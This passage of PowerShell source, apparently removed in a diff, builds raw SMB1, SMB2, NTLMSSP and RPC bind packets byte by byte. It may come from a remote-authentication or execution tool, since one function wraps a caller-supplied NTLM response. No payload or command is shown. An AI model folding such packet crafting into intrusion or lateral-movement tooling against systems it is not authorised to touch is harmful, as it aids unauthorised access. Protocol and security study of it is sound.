$packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_SecurityFlags",[Byte[]](0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_ByteCount",$packet_named_pipe_length) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Filename",$packet_named_pipe) - - return $packet_SMBNTCreateAndXRequest - } - - function Get-PacketSMBReadAndXRequest() - { - $packet_SMBReadAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_WordCount",[Byte[]](0x0a)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_AndXCommand",[Byte[]](0xff)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Reserved",[Byte[]](0x00)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_FID",[Byte[]](0x00,0x40)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_MaxCountLow",[Byte[]](0x58,0x02)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_MinCount",[Byte[]](0x58,0x02)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Unknown",[Byte[]](0xff,0xff,0xff,0xff)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Remaining",[Byte[]](0x00,0x00)) - $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_ByteCount",[Byte[]](0x00,0x00)) - - return $packet_SMBReadAndXRequest - } - - function Get-PacketSMBWriteAndXRequest() - { - param([Byte[]]$packet_file_ID,[Int]$packet_RPC_length) - - [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length) - $packet_write_length = $packet_write_length[0,1] - - $packet_SMBWriteAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_WordCount",[Byte[]](0x0e)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_AndXCommand",[Byte[]](0xff)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Reserved",[Byte[]](0x00)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_FID",$packet_file_ID) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Offset",[Byte[]](0xea,0x03,0x00,0x00)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Reserved2",[Byte[]](0xff,0xff,0xff,0xff)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_WriteMode",[Byte[]](0x08,0x00)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Remaining",$packet_write_length) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataLengthHigh",[Byte[]](0x00,0x00)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataLengthLow",$packet_write_length) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataOffset",[Byte[]](0x3f,0x00)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_HighOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_ByteCount",$packet_write_length) - - return $packet_SMBWriteAndXRequest - } - - function Get-PacketSMBCloseRequest() - { - param ([Byte[]]$packet_file_ID) - - $packet_SMBCloseRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBCloseRequest.Add("SMBCloseRequest_WordCount",[Byte[]](0x03)) - $packet_SMBCloseRequest.Add("SMBCloseRequest_FID",$packet_file_ID) - $packet_SMBCloseRequest.Add("SMBCloseRequest_LastWrite",[Byte[]](0xff,0xff,0xff,0xff)) - $packet_SMBCloseRequest.Add("SMBCloseRequest_ByteCount",[Byte[]](0x00,0x00)) - - return $packet_SMBCloseRequest - } - - function Get-PacketSMBTreeDisconnectRequest() - { - $packet_SMBTreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBTreeDisconnectRequest.Add("SMBTreeDisconnectRequest_WordCount",[Byte[]](0x00)) - $packet_SMBTreeDisconnectRequest.Add("SMBTreeDisconnectRequest_ByteCount",[Byte[]](0x00,0x00)) - - return $packet_SMBTreeDisconnectRequest - } - - function Get-PacketSMBLogoffAndXRequest() - { - $packet_SMBLogoffAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_WordCount",[Byte[]](0x02)) - $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_AndXCommand",[Byte[]](0xff)) - $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_Reserved",[Byte[]](0x00)) - $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) - $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_ByteCount",[Byte[]](0x00,0x00)) - - return $packet_SMBLogoffAndXRequest - } - - #SMB2 - - function Get-PacketSMB2Header() - { - param([Byte[]]$packet_command,[Int]$packet_message_ID,[Byte[]]$packet_tree_ID,[Byte[]]$packet_session_ID) - - [Byte[]]$packet_message_ID = [System.BitConverter]::GetBytes($packet_message_ID) + 0x00,0x00,0x00,0x00 - - $packet_SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2Header.Add("SMB2Header_ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) - $packet_SMB2Header.Add("SMB2Header_StructureSize",[Byte[]](0x40,0x00)) - $packet_SMB2Header.Add("SMB2Header_CreditCharge",[Byte[]](0x01,0x00)) - $packet_SMB2Header.Add("SMB2Header_ChannelSequence",[Byte[]](0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_Command",$packet_command) - $packet_SMB2Header.Add("SMB2Header_CreditRequest",[Byte[]](0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_Flags",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_MessageID",$packet_message_ID) - $packet_SMB2Header.Add("SMB2Header_Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_TreeID",$packet_tree_ID) - $packet_SMB2Header.Add("SMB2Header_SessionID",$packet_session_ID) - $packet_SMB2Header.Add("SMB2Header_Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - - return $packet_SMB2Header - } - - function Get-PacketSMB2NegotiateProtocolRequest() - { - $packet_SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_StructureSize",[Byte[]](0x24,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_DialectCount",[Byte[]](0x02,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_SecurityMode",[Byte[]](0x01,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextCount",[Byte[]](0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved2",[Byte[]](0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect",[Byte[]](0x02,0x02)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect2",[Byte[]](0x10,0x02)) - - return $packet_SMB2NegotiateProtocolRequest - } - - function Get-PacketSMB2SessionSetupRequest() - { - param([Byte[]]$packet_security_blob) - - [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length) - $packet_security_blob_length = $packet_security_blob_length[0,1] - - $packet_SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_StructureSize",[Byte[]](0x19,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Flags",[Byte[]](0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityMode",[Byte[]](0x01)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferOffset",[Byte[]](0x58,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferLength",$packet_security_blob_length) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Buffer",$packet_security_blob) - - return $packet_SMB2SessionSetupRequest - } - - function Get-PacketSMB2TreeConnectRequest() - { - param([Byte[]]$packet_path) - - [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length) - $packet_path_length = $packet_path_length[0,1] - - $packet_SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_StructureSize",[Byte[]](0x09,0x00)) - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathOffset",[Byte[]](0x48,0x00)) - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathLength",$packet_path_length) - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Buffer",$packet_path) - - return $packet_SMB2TreeConnectRequest - } - - function Get-PacketSMB2CreateRequestFile() - { - param([Byte[]]$packet_named_pipe) - - $packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length) - $packet_named_pipe_length = $packet_named_pipe_length[0,1] - - $packet_SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_StructureSize",[Byte[]](0x39,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Flags",[Byte[]](0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_RequestedOplockLevel",[Byte[]](0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_DesiredAccess",[Byte[]](0x03,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_FileAttributes",[Byte[]](0x80,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_ShareAccess",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateOptions",[Byte[]](0x40,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_NameOffset",[Byte[]](0x78,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_NameLength",$packet_named_pipe_length) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateContextsOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateContextsLength",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Buffer",$packet_named_pipe) - - return $packet_SMB2CreateRequestFile - } - - function Get-PacketSMB2ReadRequest() - { - param ([Byte[]]$packet_file_ID) - - $packet_SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_StructureSize",[Byte[]](0x31,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Padding",[Byte[]](0x50)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Flags",[Byte[]](0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Length",[Byte[]](0x00,0x00,0x10,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_FileID",$packet_file_ID) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoOffset",[Byte[]](0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoLength",[Byte[]](0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Buffer",[Byte[]](0x30)) - - return $packet_SMB2ReadRequest - } - - function Get-PacketSMB2WriteRequest() - { - param([Byte[]]$packet_file_ID,[Int]$packet_RPC_length) - - [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length) - - $packet_SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_StructureSize",[Byte[]](0x31,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_DataOffset",[Byte[]](0x70,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Length",$packet_write_length) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_FileID",$packet_file_ID) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoOffset",[Byte[]](0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoLength",[Byte[]](0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Flags",[Byte[]](0x00,0x00,0x00,0x00)) - - return $packet_SMB2WriteRequest - } - - function Get-PacketSMB2CloseRequest() - { - param ([Byte[]]$packet_file_ID) - - $packet_SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2CloseRequest.Add("SMB2CloseRequest_StructureSize",[Byte[]](0x18,0x00)) - $packet_SMB2CloseRequest.Add("SMB2CloseRequest_Flags",[Byte[]](0x00,0x00)) - $packet_SMB2CloseRequest.Add("SMB2CloseRequest_Reserved",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CloseRequest.Add("SMB2CloseRequest_FileID",$packet_file_ID) - - return $packet_SMB2CloseRequest - } - - function Get-PacketSMB2TreeDisconnectRequest() - { - $packet_SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_StructureSize",[Byte[]](0x04,0x00)) - $packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_Reserved",[Byte[]](0x00,0x00)) - - return $packet_SMB2TreeDisconnectRequest - } - - function Get-PacketSMB2SessionLogoffRequest() - { - $packet_SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_StructureSize",[Byte[]](0x04,0x00)) - $packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_Reserved",[Byte[]](0x00,0x00)) - - return $packet_SMB2SessionLogoffRequest - } - - #NTLM - - function Get-PacketNTLMSSPNegotiate() - { - param([Byte[]]$packet_negotiate_flags,[Byte[]]$packet_version) - - [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes(32 + $packet_version.Length) - $packet_NTLMSSP_length = $packet_NTLMSSP_length[0] - [Byte[]]$packet_ASN_length_1 = $packet_NTLMSSP_length[0] + 32 - [Byte[]]$packet_ASN_length_2 = $packet_NTLMSSP_length[0] + 22 - [Byte[]]$packet_ASN_length_3 = $packet_NTLMSSP_length[0] + 20 - [Byte[]]$packet_ASN_length_4 = $packet_NTLMSSP_length[0] + 2 - - $packet_NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialContextTokenID",[Byte[]](0x60)) # the ASN.1 key names are likely not all correct - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialcontextTokenLength",$packet_ASN_length_1) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechID",[Byte[]](0x06)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechLength",[Byte[]](0x06)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID",[Byte[]](0xa0)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength",$packet_ASN_length_2) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID2",[Byte[]](0x30)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength2",$packet_ASN_length_3) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID",[Byte[]](0xa0)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength",[Byte[]](0x0e)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID2",[Byte[]](0x30)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength2",[Byte[]](0x0c)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID3",[Byte[]](0x06)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength3",[Byte[]](0x0a)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenID",[Byte[]](0xa2)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenLength",$packet_ASN_length_4) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPID",[Byte[]](0x04)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPLength",$packet_NTLMSSP_length) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NegotiateFlags",$packet_negotiate_flags) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - - if($packet_version) - { - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Version",$packet_version) - } - - return $packet_NTLMSSPNegotiate - } - - function Get-PacketNTLMSSPAuth() - { - param([Byte[]]$packet_NTLM_response) - - [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes($packet_NTLM_response.Length) - $packet_NTLMSSP_length = $packet_NTLMSSP_length[1,0] - [Byte[]]$packet_ASN_length_1 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 12) - $packet_ASN_length_1 = $packet_ASN_length_1[1,0] - [Byte[]]$packet_ASN_length_2 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 8) - $packet_ASN_length_2 = $packet_ASN_length_2[1,0] - [Byte[]]$packet_ASN_length_3 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 4) - $packet_ASN_length_3 = $packet_ASN_length_3[1,0] - - $packet_NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID",[Byte[]](0xa1,0x82)) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength",$packet_ASN_length_1) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID2",[Byte[]](0x30,0x82)) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength2",$packet_ASN_length_2) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID3",[Byte[]](0xa2,0x82)) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength3",$packet_ASN_length_3) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPID",[Byte[]](0x04,0x82)) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPLength",$packet_NTLMSSP_length) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMResponse",$packet_NTLM_response) - - return $packet_NTLMSSPAuth - } - - #RPC - - function Get-PacketRPCBind() - { - param([Int]$packet_call_ID,[Byte[]]$packet_max_frag,[Byte[]]$packet_num_ctx_items,[Byte[]]$packet_context_ID,[Byte[]]$packet_UUID,[Byte[]]$packet_UUID_version) - - [Byte[]]$packet_call_ID_bytes = [System.BitConverter]::GetBytes($packet_call_ID) - - $packet_RPCBind = New-Object System.Collections.Specialized.OrderedDictionary - $packet_RPCBind.Add("RPCBind_Version",[Byte[]](0x05)) - $packet_RPCBind.Add("RPCBind_VersionMinor",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_PacketType",[Byte[]](0x0b)) - $packet_RPCBind.Add("RPCBind_PacketFlags",[Byte[]](0x03)) - $packet_RPCBind.Add("RPCBind_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_FragLength",[Byte[]](0x48,0x00)) - $packet_RPCBind.Add("RPCBind_AuthLength",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_CallID",$packet_call_ID_bytes) - $packet_RPCBind.Add("RPCBind_MaxXmitFrag",[Byte[]](0xb8,0x10)) - $packet_RPCBind.Add("RPCBind_MaxRecvFrag",[Byte[]](0xb8,0x10)) - $packet_RPCBind.Add("RPCBind_AssocGroup",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_NumCtxItems",$packet_num_ctx_items) - $packet_RPCBind.Add("RPCBind_Unknown",[Byte[]](0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_ContextID",$packet_context_ID) - $packet_RPCBind.Add("RPCBind_NumTransItems",[Byte[]](0x01)) - $packet_RPCBind.Add("RPCBind_Unknown2",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_Interface",$packet_UUID) - $packet_RPCBind.Add("RPCBind_InterfaceVer",$packet_UUID_version) - $packet_RPCBind.Add("RPCBind_InterfaceVerMinor",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) - $packet_RPCBind.Add("RPCBind_TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) - - if($packet_num_ctx_items[0] -eq 2) - { - $packet_RPCBind.Add("RPCBind_ContextID2",[Byte[]](0x01,0x00)) - $packet_RPCBind.Add("RPCBind_NumTransItems2",[Byte[]](0x01)) - $packet_RPCBind.Add("RPCBind_Unknown3",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_Interface2",[Byte[]](0xc4,0xfe,0xfc,0x99,0x60,0x52,0x1b,0x10,0xbb,0xcb,0x00,0xaa,0x00,0x21,0x34,0x7a)) - $packet_RPCBind.Add("RPCBind_InterfaceVer2",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_InterfaceVerMinor2",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) - } - elseif($packet_num_ctx_items[0] -eq 3) - { - $packet_RPCBind.Add("RPCBind_ContextID2",[Byte[]](0x01,0x00)) - $packet_RPCBind.Add("RPCBind_NumTransItems2",[Byte[]](0x01)) - $packet_RPCBind.Add("RPCBind_Unknown3",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_Interface2",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) - $packet_RPCBind.Add("RPCBind_InterfaceVer2",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_InterfaceVerMinor2",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36)) - $packet_RPCBind.Add("RPCBind_TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_ContextID3",[Byte[]](0x02,0x00)) - $packet_RPCBind.Add("RPCBind_NumTransItems3",[Byte[]](0x01)) - $packet_RPCBind.Add("RPCBind_Unknown4",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_Interface3",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) - $packet_RPCBind.Add("RPCBind_InterfaceVer3",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_InterfaceVerMinor3",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_AuthType",[Byte[]](0x0a)) - $packet_RPCBind.Add("RPCBind_AuthLevel",[Byte[]](0x04)) - $packet_RPCBind.Add("RPCBind_AuthPadLength",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_AuthReserved",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_ContextID4",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) - $packet_RPCBind.Add("RPCBind_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) - $packet_RPCBind.Add("RPCBind_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) 